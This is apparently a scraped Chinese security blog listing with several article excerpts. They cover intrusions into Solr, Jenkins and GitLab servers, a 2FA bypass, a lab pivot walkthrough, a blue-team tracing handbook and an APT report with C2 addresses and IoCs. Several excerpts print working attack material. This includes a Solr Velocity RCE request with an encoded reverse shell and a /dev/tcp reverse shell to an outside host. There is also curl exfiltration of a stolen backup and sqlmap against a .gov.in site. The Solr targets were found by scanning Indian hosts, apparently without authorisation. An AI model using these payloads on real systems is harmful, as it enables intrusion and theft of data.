获取.sh文件成功,执行文件,反弹shell: 开启监听: 执行命令,启动.sh文件: println "bash /tmp/jenkins.sh".execute().text 成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。 Apache-Solr 闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA: country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80") 数据不大,接着手测,拿到三个未授权(不需要登陆): ==授权==: ==未授权==: 拿到未授权之后,进行CVE探测: 访问/solr/admin/cores/,获取name => music 接着拼接路径/solr/music/config/查看用户配置信息: 都为true,可直接利用公网披露的payload进行RCE, GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 测试是否出网: 修改执行命令为 curl%20xtolsc.dnslog.cn 可出网,直接反弹shell: GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2xxxxxx8xMDEuNDMuMTM5LjI0My81MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close VPS开启端口监听:nc -lvvnp 5000 接听到弹过来的shell了,好,又拿下一台,root权限。 其他漏洞发现 反射型XSS 具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句 <script>alert(1)</script> SQL注入 这类没有具体测试,发现注入点之后直接上SQLmap开扫: sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql 诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。 渗透总结 本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。...

    2023-08-19 309
  • 记一次HC中因为JS拿下整个云!

    0x00 前言 本次分享主要是分享一次HC中的思路,值得大家学习,服务器已经交给相关部门进行取证等也已经打包结A了 0x01 信息收集 首先给到一个资产是二维码,是一张sese图片里面带有约炮的app下载,扫码后得到如下结果 得到如下结果:https://www.target.com 后进行访问主站 注册成功后发现全是妹子(........),这个时候先别急,咱第一步先去看他调用的JS资源,随便点击一个资源然后刷新一下看他F12网络   这里首先我只能用当时留下的毫无关联的图片进行演示了,当时我看到的JS文件叫 "MyProfile"   </p> 0x02 JS断点调试 这个凭借个人感觉就是个关键信息(我的资料 - > 配置信息?),   所以凭借这些理由,我在XHR中锁定了"MyProfile"这个关键字进行JS断点 然后刷新进行调试,在漫长的调试过程中我发现在一个很奇怪的JS文件中调用了我的MyProfile字段,叫 /assets/index-xxxxxx.js   一般来说我就会去审计一下这个JS文件,结果发现好东西了   bindgen: "git+http://123.123.123.123:1111/target2/a.git#0.0.14"   0x03 新突破 我当时就立刻去访问了一下,发现竟然是一个gitlab!   </p> 找了一下历史漏洞,CVE-2021-22205 直接梭哈,成功拿到shell   </p> 由于是执行命令,所以写了shell反弹       echo 'bash -i >& /dev/tcp/123.123.123.123/1111 0>&1' > /tmp/haha.shchmod +x /tmp/haha.sh/bin/bash /tmp/haha.sh 成功反弹shell   </p> 发现是ubunto的16.04,但是本地提权失败,找了SUID也没有办法,想尽了各种办法都没办法提权,打算放弃了。 所以接下来就是去寻找Git权限能做的操作,找了一个下午,最终找到了backups目录里下找到了一个backup的tar包,应该八成就是gitlab上的备份了。   </p>   Flask之取文件 但是问题来了,我怎么做到在我反弹shell中把文件拖出来了呢?scp等都试过了不行,于是乎我就写了个flask的上传页面让shell去curl一下把文件post上来(感觉这思路骚的)   </p> 我的服务器                                     from flask import Flask,requestimport os app = Flask(__name__) @app.route('/upload',methods=['POST'])def upload_file(): file = request.files.get('file') if file : filename = file.filename file.save(os.path.join(os.getcwd(),filename)) return f"File {filename} saved successfully" else: return "worry" if __name__ == '__main__': app.run(host='0.0.0.0',debug=True,port=5000) 受控主机shell   curl -X POST http://123.123.123.123:1111/upload -F file=@./a.gitlab_backup.tar   0x04 云沦陷(泄露AK SK) 几个G,下载漫长的很呢!然后拖到本地后应该就是gitlab的备份了,(因为他备份文件名字中带有gitlab的版本号)要用到对应的gitlab的相应版本去搭建。 然后本地搭建导入备份后慢慢的寻找一些有用信息,后面突然发现一个叫application.yaml的文件,进行审计后泄露了ak和sk(这开发倒是备份挺明白的,全部都写清清楚楚)。 这个时候行云管家一把梭哈,因为权限很大,接管整个云了,总共是51台主机都拿下了。   </p> 0x05 总结 思路就是 :打点 -> JS文件断点调试 ->新突破上shell-> 解决困难-> 发现新大陆(本地搭建)-> 接管云,最后全部打包好给了JF,也进行取证立A了,到此因为一个JS文件拿下整个云结束了,思路可以学习一波。   </p>     文章来源:先知社区(1201463046740633)原文地址:https://xz.aliyun.com/t/12698  ...

    2023-08-17 187
  • 实战 | 记一次5500美金赏金的2FA绕过漏洞挖掘

    概括 在编辑用户详细信息(包括姓名、电子邮件或电话号码)时,付款应用程序需要通过您的电话号码和电子邮件进行 2FA 验证。我发现了一个简单的绕过实施的 2FA 流程的方法,攻击者可以通过该方法编辑用户详细信息,而无需手机/电子邮件访问权限,最终导致帐户被接管。 复现步骤 1.转到编辑部分,开始编辑电子邮件字段。 2.2FA 提示将要求您提供当前电子邮件的 OTP。 3.输入错误的一次性密码“123456”。拦截响应。 4.将响应从 {"success":"false"} 更改为 {"success":"true"} 。 5.2FA 提示将再次要求您提供当前电话号码的 OTP。 6.输入错误的一次性密码“123456”。拦截响应。 7.将响应从 {"success":"false"} 更改为 {"success":"true"} 。 8.提示会要求您输入要更改的电子邮件,在此输入攻击者电子邮件。 9.输入电子邮件收件箱中的 OTP。 10.刷新仪表板,电子邮件已更改。 漏洞为什么会发生 通常,在 2FA 验证(第一个 HTTP 请求)之后,会分配一个令牌,并且该令牌将用于电子邮件更改请求(第二个 HTTP 请求)。在这里,输入 OTP 时(在第一个 HTTP 响应中)没有发送此类令牌。这是多阶段操作时检查的常见情况。 漏洞报告时间线 2023 年 5 月 10 日 - 通过 Hackerone 报道 2023 年 5 月 11 日 - 状态更改为“已分类” 2023 年 6 月 7 日 - 重新测试完成 50 美元并解决 2023 年 6 月 10 日 - 5000 美元奖励 + 500 美元奖金    ...

    2023-08-15 198
  • 攻防演练 | 记一次打穿某车企全过程

    0x00 前言 本文介绍了笔者在某次攻防演练中,如何从外网渗透到某车企的内网的详细过程(为了保护敏感信息,所有数据都已经脱敏,有些截图也不完整,请见谅)。 这次网络攻防演练分为两个阶段一共十四天,前七天是私有资源阶段,后七天是公共资源池阶段。共有12支队伍参与比赛,我们公司全程只有两名选手参赛。由于公司从不提供一些辅助工具和人力资源,并且我俩近期连续参加了多场比赛,导致每次比赛后我俩都很内耗。 0x01 信息收集 裁判只给出了目标企业的名称,让我们自行寻找其他的信息,这是对我们资源差的队伍是一种考验。 幸运的是,笔者之前编写了一套信息收集的辅助脚本,现在可以派上大用场了。 首先,使用子公司收集脚本来搜索一级子公司。该脚本根据特定的条件和规则进行搜索,以获取与一级公司有50%的控股关系的子公司。然后,我们对这些一级子公司再次使用脚本进行搜索,以找到与它们有50%的控股关系的子公司。这个过程不断循环,直到没有符合条件的子公司为止,所以你看到下面最深达到了四级公司。 接下来,再用资产收集脚本对子公司收集脚本的ICP结果进行一系列的操作,该脚本包括子域名匹配、端口扫描、web路径搜索、服务识别等,最终结果会到了以下三个文件,其中ip文件可以交给灯塔去进行信息收集、url文件可以交给poc扫描器、详情文件可以在扫描poc的时候手工去寻找一些POC扫描器里面没有的漏洞(如弱口令,手动狗头)。 0x02 web打点 我先用poc扫描器(xray青春版,poc-bomber等开源作品)对资产收集的结果进行了一番扫描,结果没有发现一个可利用漏洞(人少公司也不提供些打点资源,怎么搞嘛,狗头保命)。没办法,只能老老实实手动地一个个分析哪些URL可能有惊喜了。在翻了一大堆无聊的页面后,我目光锁定在了一个url上,这url的title是XXConfluence当发现这个网站使用的是Confluence时,我想很多师傅们都知道该怎么做了。我立刻检测它是否存在RCE,经过一番尝试后,发现这个版本确实存在RCE,并且确认了服务器的操作系统是Linux。 接下来就把shell反弹到服务器上,发现已经拿到了无限制的shell访问权限。马上做了一个远程控制马并上传到目标服务器。MSF上线后我就查了一下网卡,发现这个服务器有个172.32.0.30的网卡,接着上传代理工具。 ...

    2023-08-14 265
  • 2023HVV | 蓝队防猝死手册

    在HVV期间,蓝队主要就是通过安全设备看告警信息,后续进行分析研判得出结论及处置建议,在此期间要注意以下内容。   内网攻击告警需格外谨慎,可能是进行内网渗透。 1.攻击IP是内网IP,攻击行为不定,主要包括:扫描探测行为、爆破行为、命令执行等漏扫行为。 2.资产属性-内网攻击IP资产属性。 3.研判告警行为是否为攻击动作,如弱口令、SQL注入漏洞可能是业务行为。 4.上级排查与客户一起进一步确认设备问题。 企图类告警需格外谨慎,可能是“已经成功”。 1.告警主要包括:后门程序、代码行为、命令执行行为。 2.资产属性+流量确认。 3.综合判断告警是否成功(成功的话就需要提供证据给规则反馈)。 4.上级排查与客户一起进一步确认设备问题。   爆破攻击告警需格外谨慎,可能是“正在进行时”。 1.告警主要包括:客户对外端口的服务对外开放。 2.资产属性+流量确认。 3.综合判断业务是否对外开放(及时确认是否需要规避风险点)。   成功失陷追仔细,可能是”溯源不够细致,遗漏蛛丝马迹“。 1.告警主要包括:成功+失陷的告警。 2.资产属性+流量确认+告警确认+数据分析+兄弟产品跟进。 3.协助客户上机排查,书写防守或溯源报告。   常见溯源方式         在发现资产被攻击之后,防守方需要及时进行溯源和排查,通常情况下,溯源需要获取到目标攻击者的一部分个人信息,比如手机号,邮箱,QQ 号,微信号等,通过这些信息在互联网可以进一步追溯攻击者的更多暴露信息。方便进一步溯源,下述介绍了一些整理了一些常见的方法和工具。         1. 域名、ip 反查目标个人信息 首先通过威胁情报平台确认攻击ip是否为威胁 ip,常用的平台通常有如下 https://x.threatbook.cn/ 微步在线威胁情报社区 https://ti.qianxin.com/ 奇安信威胁情报中心 https://ti.360.cn/ 360威胁情报中心 https://www.venuseye.com.cn/  VenusEye威胁情报中心   当发现IP的为攻击IP后,可以尝试通过此IP去溯源攻击者,具体实现过程通常会用到下述方法:          1.ip 反查域名        2.域名查 whois 注册信息        3.域名查备案信息、反查邮箱、反查注册人        4.邮箱反查下属域名        5.注册人反查下属域名   2. 攻击者ID等方式追踪  定位到攻击者ip后,可以通过sgk、社交软件、指纹库等其它方式捕获到攻击者个人社交账号捕获到更精准的敏感信息,可以采取以下思路。  1.支付宝转账,确定目标姓氏  2.进行QQ账号、论坛、贴吧、等同名方式去搜索  3.淘宝找回密码,确定目标名字  4.企业微信手机号查公司名称  5.度娘、谷歌、src、微博、微信、知乎、脉脉等知道的各大平台上搜索          3. 通过攻击程序分析 攻击者如果在恶意攻击过程中对目标资产上传攻击程序(如后门、恶意脚本、钓鱼程序等),我们可通过对攻击者上传的恶意程序进行分析,并通过IP定位等技术手段对攻击进行分析溯源,常用的恶意程序分析网站有:  微步在线云沙箱:https://s.threatbook.cn/      腾讯哈勃:https://habo.qq.com/      Virustotal:https://www.virustotal.com/gui/home/upload      火眼:https://fireeye.ijinshan.com      魔盾安全分析:https://www.maldun.com/analysis/        4.  蜜罐  蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。   蜜罐溯源的两种常见方式: 一种是在伪装的网站上插入特定的js文件,该js文件使用攻击者浏览器中缓存的cookies去对各大社交系统的jsonp接口获取攻击者的ID和手机号等。另一种是在伪装的网站上显示需要下载某插件,该插件一般为反制木马,控制了攻击者的主机后查询敏感文件、浏览器访问记录等个人敏感信息从而锁定攻击者。          5.  常见案例链接分享 整理了一下常见的溯源案例链接,希望能对大家起到帮助 https://www.freebuf.com/articles/web/246060.html  //记一次蜜罐溯源 https://www.freebuf.com/articles/web/254538.html  //从溯源中学到新姿势 https://www.secpulse.com/archives/141438.html  //蓝队实战溯源反制手册分享 https://blog.csdn.net/u014789708/article/details/104938252  //记一次溯源恶意ip僵尸网络主机的全过程 https://mp.weixin.qq.com/s/xW2u4s8xCTnLCkpDoK5Yzw  //记一次反制追踪溯本求源   常见反制方式  通过蜜罐反制 主要就是下述反制手段做操作 1.可克隆相关系统页面,伪装“漏洞”系统 2.互联网端投饵,一般会在Github、Gitee、Coding上投放蜜标(有可能是个单独的网站地址、也有可能是个密码本引诱中招) 3.利用JSONP、XSS、CSRF等前端类漏洞获取访问蜜标的攻击者网络身份(网络画像)   邮件钓鱼反制 安全防护基础较好的厂商,一般来说除了出动0day,物理近源渗透以外,最常见的就是邮件钓鱼了,在厂商收到邮件钓鱼的情况下,我们可以采取化被动为主动的方式,假装咬钩,实际上诱导攻击者进入蜜网。   渗透工具漏洞 可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞(需要一定的技术水平),或利用历史漏洞部署相关环境进行反打    盲打攻击反制  攻击者可能通过盲打漏洞方式来获取权限,一般盲打都具备一个数据回传接口(攻击者需要接收Cookie之类的数据),接口在JavaScript代码中是可以寻找到的,我们可以利用数据回传接口做以下两件事情,并后续引导攻击者进入我们部署好的蜜罐。 1.打脏数据回传给XSS平台 2.打虚假数据回传给XSS平台   通过攻击服务器端口/web 等漏洞  攻击者可能是通过自己搭建的公网服务器进行攻击的,或者是通过此服务器与后门进行通讯。其中服务器可能运行诸多服务,且未打补丁或设置强密码,导致防守方可以进行反打。   应急响应工具箱  在hvv期间,或者是在平常工作时间段,难免会碰到一些应急场景,这里推荐GitHub上一个大佬的应急工具箱,整合了诸多的分析文章和常见工具。 地址链接: https://github.com/No-Github/1earn/blob/master/1earn/Security/BlueTeam/%E5%BA%94%E6%80%A5.md 参考链接: https://www.freebuf.com/articles/neopoints/252229.html https://www.freebuf.com//261597.html 2021HW之蓝队溯源手册 https://mp.weixin.qq.com/s/AsiPMJmDl6J1XPO8B0m0xg 浅谈蓝队反制手段 https://mp.weixin.qq.com/s/qjM7Fh0u0Edsz5C7L_ErGQ 天眼分析经验总结 https://www.cnblogs.com/123456ZJJ/p/13261049.html...

    2023-08-14 185
  • 关于近期国内航空航天领域面临APT窃密攻击风险分析

    自2023年年初,深信服深瞻情报实验室监测到大量来自南亚地区的APT组织针对我国科研院所开展定向窃密攻击,其中航空航天领域成为其攻击核心,国内有关科研单位和高校相继受到攻击。通过深度参与事件调查,我们逐渐可以揭示出本轮攻击的模式与特征,以及潜藏在攻击活动背后的野心。 航空航天领域高速发展引来知识产权窃密风险 我国的航空航天事业自新中国成立以来就始终保持着高速发展的态势。近年来随着C919大飞机、天宫空间站、歼-20、神舟十六号载人航天等项目的顺利运行,我国在航空航天技术领域取得巨大突破,逐渐走在了世界前沿。然而高速发展带来的不止是荣誉,也伴随着一些负面问题,在竞争激烈的时代,窃取知识产权成为一种较低成本的快速追赶手段。 基于此,源自南亚地区的SideWinder(响尾蛇)、Bitter(蔓灵花)、Patchwork(白象)、Donot(肚脑虫)、CNC等APT组织闻风而动,开始在网络空间大肆活跃。为获取政策情报、军事秘密、科研进展、知识产权等数据,上述组织近年来持续对我国及南亚部分国家开展攻击,攻击范围包括政府部门、国防军工单位、科研院所等。 西工大遭受网络攻击以来,科研院所一直是APT攻击的重要目标,据监测,2023上半年受攻击的相关单位至少包括5所高级院校以及1所高级科研单位。 其中最引人注意的是CNC组织针对某学校的攻击事件。此次攻击自23年1月起筹划,定向针对某重点实验室实施窃密攻击。据历史披露,CNC组织2021年6月,就曾在我国神舟十二号载人飞船成功点火升空,与天和号核心舱对接之际,针对我国航空航天领域相关单位发起集中攻击。 本轮攻击的模式与特征 (一)伪装境外学术期刊钓鱼 历年来我们对印度APT组织的印象是广泛使用钓鱼邮件作为攻击入口,这些钓鱼邮件通常会蹭当下社会新闻热点,例如疫情话题,招聘话题等。而在近期CNC组织针对某学校的攻击活动中,攻击者结合目标的特点,使用了更加定向的投递方式,即仅向近期即将发表论文的作者发送“论文校对”或“论文确认”邮件,邮件内容除链接外,均与真实邮件完全相同。该特征在不同目标中多次出现,具有稳定性,攻击成功率极高。 具体来说,推测攻击者首先通过其他渠道,获得多个研究人员个人邮箱,监控其中的论文投递情况,当出现近期投递的论文,攻击者在适当的时间,模拟期刊方,仅向几位文章作者发送“论文校对”邮件,邮件包含该论文的编号、投递时间、在线发表地址等信息。 由于论文作者都密切关注其论文投递后的状态变更,且发件人刻意模仿期刊方,文章编号等这类保密信息真实,作者通常会无防备的点击该邮件中的链接,如下图红框所示,哪怕恶意超链接以明文形式展示,也会有受害者点击。同时,由于发送的校对邮件极真实,不排除国际上多个航空航天相关期刊的邮箱也遭到窃取,攻击者从此处获得某期刊论文校对邮件模板。 在CNC组织针对另一学校的攻击中,我们看到以“论文确认”为主题的钓鱼邮件,该论文同样为受害者近期在投的文章。 调查中,由于攻击者配置错误,我们在攻击者托管下阶段恶意样本分发的服务器中看到了其他期刊的相关载荷,如下表,充分印证了攻击者正积极采用这种手法进行攻击。 名称 组织 组织网站 Journalx_kjdb 科技导报 kjdb.org aippublishing 美国物理联合会出版社 publishing.aip.org aipscitation 美国物理联合会出版社 publishing.aip.org apcats2023 航空航天技术与科学亚太会议 apcats2023.org eg2.novatechset Nova Techset电子出版 novatechset.com hindawicentral Hindawi出版社 hindawi.com Journalx_yhxb 宇航学报 yhxb.org.cn sciencedirect sciencedirect期刊 sciencedirect.com asmesociety 美国机械工程师学会 asme.org sprintnature 施普林格·自然出版社 springernature.com   (二)伪装境外业内大牛钓鱼 除了“论文”主题外,攻击者还模仿领域内某位韩国知名教授,向航空航天相关专业的老师发送会议邀请函。邀请函正文从某个真正受到邀请的老师邮箱中获得,收到邮件的老师都熟识该教授,部分老师出于信任点击了恶意链接。 由于攻击者对邮件内容非常自信,攻击者近乎嚣张地与多名老师进行了近十轮的邮件交流而未被识破,交流中攻击者以“核对参会人信息”等方式,十分自然地发送携带恶意链接或附件的邮件使受害者中招。 (三)跨网段的U盘传播模式 攻击手段除安装各类文档窃密程序外,还投递了可通过U盘进行大范围传播的恶意样本,此类恶意样本通过不间断地监控目标主机是否有新的移动设备或存储设备接入,当检测到新的设备接入时,将自身复制到新设备中并进行伪装。此类样本不仅具有跨网段传播的功能,还下载后续阶段的其他样本进行驻留。这种意图跨越隔离网络,多种传播方式共用的方式,充分契合高校科研实验室网络架构。 恶意样本将自身复制到U盘后,伪装成图片,并取名为“私人图片.png”,引诱其他使用该U盘的受害者点击。在事件调查过程中,已经多次提醒注意不打开未知文件的情况下,仍有受害者出于好奇打开“私人图片”,使样本在内网进一步传播。   (四)高度定制化木马,明确的窃密目标 CNC组织针对高校的攻击手法如下图,经过多阶段的恶意程序下载释放,最终主机中会落地文档窃取程序。 攻击者通过钓鱼邮件成功攻陷主机后进行信息收集,后续对文档窃取程序进行定制化开发,窃取攻击者感兴趣的目标,例如在某校发现的样本中存在硬编码的最近文档路径,在另一发现的样本中存在硬编码的微信聊天文件路径和杂项路径。 攻击中使用的基础设施分析 对本轮针对航空航天领域攻击中使用的IP基础设施所属地理位置进行分析,其使用的C2地理位置集中在欧洲地区。 攻击者在后阶段样本中多次使用第三方平台github作为载荷和C2托管平台,“59degf”、“xerox211”、“kkrightjack”等账号接替出现。 “59degf”于2022年5月26日加入github,并且活跃到2022年8月,不排除后续继续使用。 其首先创建“stylefonts”仓库,并上传一份pip9.0.3的安装包进行伪装,接着上传多个文件,并将加密C2信息存储于其中。 其还会在该仓库中存放使用base64编码的载荷文件“jquery-img.css”,通过分析该载荷为GRAT2开源远控,且被用于历史活动。 其他的C2更新信息如下表。 时间 文件名 数据 2022.7.4 CustomLogktr56632404 menu-items#8080@Ulzc7AnSIBk7shxMu7bc+Z8PGYo= 2022.7.5 CustomLogktr56632404 background-color@8080:eJGipVAZxpwarQ4Rt+vXyg== 2022.7.5 CustomLogktr56632404 menu-items#8080@eJGipVAZxpwarQ4Rt+vXyg== 2022.7.5 CustomLog menu-items#8080@eJGipVAZxpwarQ4Rt+vXyg== 2022.7.5 CustomLog menu-items#8080@MoTyR1NbFGeJ7G7lhgos 2022.7.5 CustomLog1 menu-items#8080@MoTyR1NbFGeJ7G7lhgos 2022.8.4 License-rtm.txt 6ZBsOoSsfGBn4RVOdh49BhEBvX5tc18=(解密为https://94.140.115.232/) 2022.8.5 License-rtm.txt 6ZBsOoSsfGBv7AlRcxwiGRgDvX1seV/KybQNFZTCOGIm6JPNkdnI8Tl6Zv7A(解密为https://192.121.87.128/gtjuik75743.php?huyice) 另外,在分析的样本“e1d12807f017c8f827fe586a19b91f1f0903d0acbb693901762adfaab638f619”中提取出其通信的github URL为“https://raw.githubusercontent.com/59degf/charsets/main/fonts-store.txt”,并未发现其使用的charsets仓库,需持续观察。 “xerox211”于2022年9月28日加入github,并创建了仓库“service”,使用github存放加密的C2数据,当未获取到对应样本时无法对该数据解密。 2022年9月29日上传数据“21/3/231/347”(该数据格式暂不清楚)。 接着在2022年10月12日多次更新该数据。 将上述数据更新为"262/347/28/256”(该数据格式暂时不清楚),期间进行过多次格式调整。 接着在2022年11月4日将数据再次更新为“0x41,0x51,0x8d,0x3e,0x5e,0x70,0x21,0xc4,0x40,0xe5,0x7d,0xd6,0x7b,0x04,0x95,0x31,0xf0,0xc7,0xef”。 最终再次进行格式调整,将数据更新为“41518d3e5e7021c440e57dd67b049531f0c7ef”。 “kkrightjack”于2022年8月23日加入github,于2022年8月24日快速上传config.json文件后又在短时间内删除“msecnd-tray!8080$vH71iikBrM0YKkmpvugwHA==”。 2022年9月23日重新更新该数据为“msecnd-tray!8080$v5w0/D/EvtqeYBANF9Rrmg==”   附录:IoC IOC类型 IOC MD5 bffa445f8f99a05384c3a61b9eaabc2f ca7276e10fcf08ec118b7cdd4e191ae8 390f9430d01e499719e9a36af5489808 869d595bbc42335fcf27321b60421582 6c65f3eea8c6b85cfae319a85d39eb55 0d5554ffd44fb843e0f41dce571c78d5 9bba6c6eb20046e40e4c6bedff370614 3af8b5681908426e817f906ff0d08b6e ce3b254fc75fe4210aa509581ca42848 774f5270c753a8651e81a2886130908f 29bbb78c7a9873836d7e76198f9e1f6c 63944ca21aee1ea6f5cfed011c7173b0 040c572499115880acf1704cdf0c4aec f75ac8caca2e3b8f1becd26c7d6542d7 d3d227719260091b7bb58111f0b219fa 88b2e156b43b650705d895b595d59087 018bb9c176732dfc7879a6c3bca8e0aa 3a79ef175d63e504eb9442e64af12661 b1e792da3e146ebabc76219ffe2385a4 337899dc4fe9e74935678cf6fd067c31 ef6e329c6fb3eb2a93cabadd6798cd20 32fdd60c5366c924b3cceb95dadc4c2e 70f134f39ef48ea6f8be96bd05d299a2   ...

    2023-08-13 181
  • 记一次flask框架环境综合渗透测试

    PART.01 登入过程 1. 访问靶场地址http://101.43.22.226/?name=2023,框架为Flask。 2. 测试存在ssti注入。 3. 直接执行以下命令。 http://101.43.22.226/?name={% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{b['eval'('__import__("os").popen("whoami").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} 4. 测试目标可以出网,直接执行命令反弹shell和上线msf。 5. 对当前机器进行信息搜集,存在双网卡172.25.1.3和10.10.10.100。 6. 添加路由。 7.对10.10.10.0段存活主机进行扫描, 8. 存活主机有10.10.10.101、10.10.10.102、10.10.10.200 和10.10.10.201。其中,200,201这两台机器开放了445端口,在此探测是否存在永恒之蓝漏洞。 9. 对200这台机器进行漏洞利用。由于不确定200这台机器是否出网,所以payload要设置成正向shell,最后成功获取到这台机器的权限。 10. 因为10.10.10.100这台机器是可以出网的,将它作为我们的跳板机。远程下载frp,搭建socks5代理。 11. 对10.10.10.101进行端口扫描,开放22和80端口,访问80的web服务。 12. 测试存在文件,文件包含漏洞(不存在远程文件包含)。 13. 经过fuzz读取到配置文件config.php,从中获取到数据库的账户密码。 14. base64解码后的数据库用户名为catcat,密码为wannatobeacat。但是由于数据库还是不能连接,因此想到了密码复用——使用ssh,登录上catcat的账户。 15. 当前用户权限较低,尝试提权。使用pspy扫描后发现,root用户每分钟会执行一次backup.sh,且当前用户catcat可以修改此文件。 16. 在backup.sh文件中添加 chmod 4475 /bin/bash,执行bash -p后成功提权。 17. 对10.10.10.102机器进行扫描,发现开放了22和5000端口。访问5000后发现,其是web服务。 18. 存在用户名枚举,但是未爆破出密码,sql注入也不存在。 19. 这里发现用的框架为Express。通常情况下,用的是mongdb数据库,尝试nosql注入。参考链接如下: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#exploits 20. 修改payload。 注意:需改动未Content-Type: application/json。 {"user": {"$ne": null}, "password": {"$ne": null}} 21.成功进入后台。 PART.02 渗透过程 1. 新建文章。 2. 提交后服务报错,从报错信息中获取到了网站的物理路径。 3. 存在上传功能点测试,返回非法的XML格式,并且发现数据库的请求头也是/articles/xml。查看是否存在xxe漏洞。 4. 尝试读取/etc/passwd文件,成功读取后确定存在xxe漏洞。 5. 就刚才获取到的网站物理路径,读取配置文件server.js的内容。 6. 执行命令反弹shell到主机10.10.10.100。 7. 发现当前用户可以凭借root权限执行/bin/check文件。 8. 查看/bin/check文件,引用os.py。 9. 此处直接修改os.py文件内容,以sudo的权限执行check文件即可提权(由于此处获取交互式shell就会系统停顿,所以没有继续提权)。 10. 主机10.10.10.201开放了比较多的端口,首先访问80端口,但其web服务需要进行验证,利用弱口令admin,admin成功进入后台。 11. 存在文件上传功能点,但是无论上传任何格式都能够成功返回,只是无法找到上传的路径。 12.此处提示样本会上传到文件共享服务器,测试团队将手动审查上传的内容,构造SCF文件以索取ntlm hash,并将文件上传到目标服务器。 13. 在跳板机上安装Respondr,并对其进行监听。 14. 成功抓取到NTLMv2 Hash。 15. 使用hashcat破解。 hashcat -m 5600 hash.txt rockyou.txt 16. 破解出密码为tobyallison31。此外,目标机器开放了5985端口,使用evil-winrm进行连接。 17. 生成正向木马bind.exe,上传到该目标机器后获取到meterpreter。 18. 查看powershell的历史记录,发现他下载并开启了Goservice服务,我们可以替换文件来进行提权。 19. 暂时停止服务。 20. 将bind.exe上传到目录,并重命名为service.exe。 21. 重新启动GoService服务。 22. 成功返回一个meterpreter且权限为system权限。 ...

    2023-08-13 188
  • 攻防演练|记一次对xx教育局攻防总结

    前言 这次攻防演练每个队伍分配不同的目标,有些队伍拿的点可以直接 nday 打,有些队伍外网打点十分困难比如我们,但分数是是统一算的,可以说不是那么的公平。不过也算是提供了些许经验,简单做一下总结,都是比较基础的东西,如有写的不正确的地方欢迎各位师傅指正。 外网打点 敏感信息泄露 一般来说学校外网能拿直接权限的点已经很少了,web 应用大多是放在 vpn 后面,因此能弄到一个 vpn 账号可以说是事半功倍 另外还可以通过语法筛选出存在默认弱口令的系统,常用命令如下: PLAINTEXT 1 2 3 4 5 6 7 #google语法 site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码 #github*.edu.cn password   查看方式优先选择最近更新,太久远的基本上失效了 这里队友收集到了某个目标的 vpn 账号,使用的是 姓名拼音/12345678 弱口令 进去内网后能访问的只有一个 OA 系统,测试了一下没发现什么东西,寻找其他突破口 shiro 无链 常规的打点可通过 fofa、hunter、quake 等网络测绘平台进行资产收集,收集好后进行去重,把去重后的资产列表进行批量指纹识别,筛选出重要易打点的系统 在常规的 hw 中这些方法比较通用,但是对于教育行业来说会相对困难,有 edusrc 的存在许多通用型漏洞已经被提交修复了,因此在信息搜集的时候要多去寻找旁站和一些容易被遗漏的站点 坐了一天牢后,终于通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是 shiro 直接工具开冲,发现有默认 key 但是无利用链 这里想到之前学习 shiro 可以无依赖利用,感觉有戏尝试一波,相关知识可学习此文章 https://www.le1a.com/posts/a5f4a9e3/ PLAINTEXT 12 java -jar shiro_tool.jar 地址VPS:端口 通过 dnslog 测试有回显,这里有个注意点:使用 http://dnslog.cn/部分站点会拦截,可以换多个 dnslog 平台测试 dnslog 有回显接下来就是拿 shell 了,这里由于固化思维,之前遇到的都是 linux 